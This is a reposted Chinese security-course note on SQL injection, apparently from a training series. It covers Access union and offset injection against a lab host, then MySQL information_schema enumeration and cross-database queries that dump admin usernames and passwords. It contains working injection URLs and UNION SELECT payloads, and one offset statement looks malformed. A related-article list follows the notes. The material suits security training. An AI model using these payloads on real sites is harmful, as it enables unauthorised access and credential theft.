小迪安全24WEB 攻防-通用漏洞SQL 注入MYSQL 跨库ACCESS 偏移

#知识点:

1、脚本代码与数据库前置知识

2Access 数据库注入-简易&偏移

3MYSQL 数据库注入-简易&权限跨库

#前置知识:

-SQL 注入漏洞产生原理分析

-SQL 注入漏洞危害利用分析

-脚本代码与数据库操作流程

-数据库名,表名,列名,数据

-数据库类型,数据库用户,用户权限

SQL:数据的操作——SQL注入;产生在数据库上的注入

SQL注入:传参id变量,通过$sql变量来进行指定的sql数据库查询,从而执行恶意的SQL语句,实现查询其他数据内容(敏感信息)

危害:

数据库中的操作能被其利用和破坏——增删改查——需符合SQL语句的逻辑格式

产生原理:脚本代码和数据库的相关操作

搭建一个网站

漏洞的产生:特定函数和可控变量

最直接的一种通过url是否存在参数:get

  存在一个参数和多个参数(对每一个参数进行测试)

通过获取网络数据包:Post

注入:

测试注入点:

1.猜测数据库类型

2.根据类型选择思路

ACCESS:——独立存在

数据库名

       表名

         列名

           数据

对get页面进行白盒分析

根据对应的url找到对应的文件位置,查看源码

得知用的是一个product的表

那么这时,我们需要查admin的表,用联合查询

http://192.168.162.143:85/Production/PRODUCT_DETAIL.asp?id=1513%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22%20from%20admin

注:这里的联合查询是有限制的,就是union前后查询的数据必须保持同列

得知3和15作为网页的回显位,因此3和15替换为对应的列名(字典猜解)

http://192.168.162.143:85/Production/PRODUCT_DETAIL.asp?id=1513%20union%20select%201,2,admin,4,5,6,7,8,9,10,11,12,13,14,password,16,17,18,19,20,21,22%20from%20admin

如果表名知道,但列名不知道——偏移注入:

**原理:**借用数据库的自连接查询(inner join)让数据库内部发生乱序,从而偏移出所需要的字段在我们的页面上显示。

**用处:**access偏移注入是解决一些注入不出来列表的时候,同时要求支持union select,列名足够多,需要知道表名。

判断表内存在的字段个数:

http://192.168.162.143:85/Production/PRODUCT_DETAIL.asp?id=1513%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,*%20from%20admin——错误

直到

http://192.168.162.143:85/Production/PRODUCT_DETAIL.asp?id=1513%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,*%20from%20admin——正确

说明了admin表下有6个字段

每做一次偏移,就意味着做了一整列,所以需要减6

一级偏移语句:

127.0.0.1/asp/index.asp?id=1513 union select 1,2,3,4,5,6,7,8,9,10,* from (admin as a inner join admin as b on a.id = b.id)

二级偏移语句:

127.0.0.1/asp/index.asp?id=1513 union select 1,2,3,4,a.id,b.id,c.id,* from ((admin as a inner join admin as b on a.id = b.id)inner join a)

Mysql:统一管理

最高数据用户=root用户

数据库名A=网站A——》数据库用户C

       表名

         列名

           数据

数据库名B=网站B——》数据库用户C

数据库名C=网站C——》数据库用户C

攻击思路:

  1. 非root注入攻击:常规类的猜解
  2. Root用户注入攻击:文件读写操作,跨库查询注入...

判断root和非root:

黑盒:采用user()获取当前用户权限

白盒:看代码,看连接用户,配置文件中

Mysql5.0以上的版本:自带一个information_schema(存储数据库下的数据库名、列名、表名等)

获取相关数据:

  1. 数据库版本:查看是否支持使用information_shcema查询——version()
  2. 数据库用户:查看用户是否是Root类型注入攻击——user()
  3. 当前操作系统:是否支持大小写或文件路径——@@version_compile_os
  4. 数据库名字:为后期猜解指定表名——databases()

一、猜测数据

获取 syguestbook 数据库下面的表名信息:

UNION SELECT table_name,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.tables where

table_schema='syguestbook'

获取表名 sy_adminuser 的列名信息:UNION SELECT column_name,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.columns

where table_name='sy_adminuser' and table_schema='syguestbook'

获取指定数据:

UNION SELECT username,password,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from sy_adminuser

  • 跨库注入

实现当前网站跨库查询其他网站——原理:因为是root用户会管理到所有的网站的数据库

获取当前 mysql 下的所有数据库名

UNION SELECT schema_name,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.schemata

获取数据库名 xhcms 下的表名信息

UNION SELECT table_name,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.tables where

table_schema='xhcms'

获取数据库名 xhcms 下的表 manage 下的列名信息:

UNION SELECT column_name,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.columns

where table_name='manage' and table_schema='xhcms'

获取指定数据:

UNION SELECT user,password,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from xhcms.manage

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/448470.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【GitHub项目推荐--一个 C++ 实现快速存储的库】【转载】

一个提供可嵌入、持久键值存储以实现快速存储的库。 github地址 https://github.com/facebook/rocksdb 国内镜像 http://www.gitpp.com/ag/rocksdb RocksDB 是一个开源的嵌入式键值存储库,由 Facebook 开发,用于处理大量的数据,特别适合于…

sql指南之null值用法

注明:参考文章: SQL避坑指南之NULL值知多少?_select null as-CSDN博客文章浏览阅读2.9k次,点赞7次,收藏21次。0 引言 SQL NULL(UNKNOW)是用来代表缺失值的术语,在表中的NULL值是显示…

中国2023年土地利用现状遥感监测数据

中国2023年土地利用现状遥感监测数据是以2023年美国Landsat 8遥感影像为主要数据源,在2020年通过2020年土地利用数据基础上,通过2020年和2023年两期遥感影像对比分析,人工目视解译生成。 改革开放以来,中国经济的快速发展对土地利…

杂题——试题 算法训练 区间最大和

分析: 如果使用两个for循环遍历所有情况,运行会超时解决运行超时的关键点在于:及时停止累加,丢弃当前的子序列 比如【1,-2,3,10】从第一个数字开始的子序列的和小于从第三个数字开始的子序列的和…

数据结构——实验01-线性表的链式存储和操作

一、实验内容 二、算法思想与算法实现 1、解题思想 (1)逆序创建链表La就是使用头插法创建一个链表,所谓头插法就是在创建链表时始终将新元素插入到头结点之后,而正序创建链表Lb就是使用尾插法创建一个链表,所谓尾插法…

angr学习-入门篇

前言: 资源链接:https://github.com/jakespringer/angr_ctf(题库仓库,里面有个讲解angr的PPT,里面有官方的题解很详细)https://github.com/Hustcw/Angr_Tutorial_For_CTF 安装: 关于angr的安…

过滤器和拦截器、AOP有什么区别

过滤器(Filter)、拦截器(Interceptor)和面向切面编程(AOP,Aspect-Oriented Programming)是Java Web开发中常用的三种技术手段,它们都可以在程序执行过程中的特定点进行干预。虽然它们…

海外社媒营销平台及运营规则,如何降低封号率?

社交媒体已经成为人们生活和日常习惯不可或缺的一部分,在跨境电商出海过程中,海外社媒营销平台可以起到非凡的助力;而平台的选择以及平台的运营技巧、规则都各有不同。很多海外社媒工作者经常会被封号,这也是难度之一,…

HCIP-Datacom(H12-821)81-90题解析

有需要完整题库的同学可以私信博主,博主看到会回复将文件发给你!(麻烦各位同学给博主推文点赞关注和收藏哦) 81、在状态检测防火墙中,开启状态检测机制时,三次握手的第二个报文(SYNACK)到达防火墙的时候如…

k8s-HPA

前提条件 安装有**Metrics Server**,HPA的运行监控指标需要由Metrics Server 提供 文档:https://github.com/kubernetes-sigs/metrics-server?tabreadme-ov-file#readme 快速自动缩放,每15秒收集一次指标(可配置)。 资源效率,为集群中的每…

C#拆分字符串,正则表达式Regex.Split 方法 vs String.Split 方法

目录 一、使用的方法 1.使用Split(String, String)方法 2.String.Split 方法 二、源代码 1.源码 2.生成效果 使用正则表达式可以拆分指定的字符串。同样地,使用字符串对象的Split方法也可以实现此功能。使用字符串对象的Split方法可以根据用户选择的拆分条件&…

字符下标计数

下标计数 数组计数,即通过使用一个新的数组,对原来数组里面的项进行计数,统计原来数组中各项出现的次数,如下图所示: 数组计数可以方便快速地统计出一个各项都比较小的数组中,数值相同的数的个数。 数组计数…